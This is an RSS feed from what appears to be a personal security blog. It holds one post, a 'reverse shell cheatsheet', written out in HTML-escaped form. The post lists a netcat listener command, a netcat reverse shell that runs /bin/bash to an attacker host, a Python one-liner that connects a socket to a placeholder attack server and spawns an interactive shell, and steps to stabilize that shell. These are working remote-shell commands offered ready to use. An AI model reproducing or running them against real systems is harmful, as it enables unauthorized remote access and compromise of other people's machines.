<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Cheatsheet on eol&#39;s blog</title>
    <link>https://blog.sysco.re/tags/cheatsheet/</link>
    <description>Recent content in Cheatsheet on eol&#39;s blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Sat, 08 Oct 2022 14:36:09 +0200</lastBuildDate>
    <atom:link href="https://blog.sysco.re/tags/cheatsheet/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>reverse shell cheatsheet</title>
      <link>https://blog.sysco.re/blog/reverse-shell/</link>
      <pubDate>Sat, 08 Oct 2022 14:36:09 +0200</pubDate>
      <guid>https://blog.sysco.re/blog/reverse-shell/</guid>
      <description>&lt;h2 id=&#34;attack-server&#34;&gt;attack server&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nc -lvp [port]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;target-machine&#34;&gt;target machine&lt;/h2&gt;&#xA;&lt;p&gt;nc :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nc [attacker] [port] -e /bin/bash&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;python:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python -c &amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;[ATTACK SERVER]&amp;#34;,[ATTACK PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;stabilize-shell&#34;&gt;stabilize shell&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 -c &amp;#34;import pty;pty.spawn(&amp;#39;/bin/bash&amp;#39;)&amp;#34;&#xA;export TERM=xterm&#xA;[^Z]&#xA;stty raw -echo; fg&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
  </channel>
</rss>
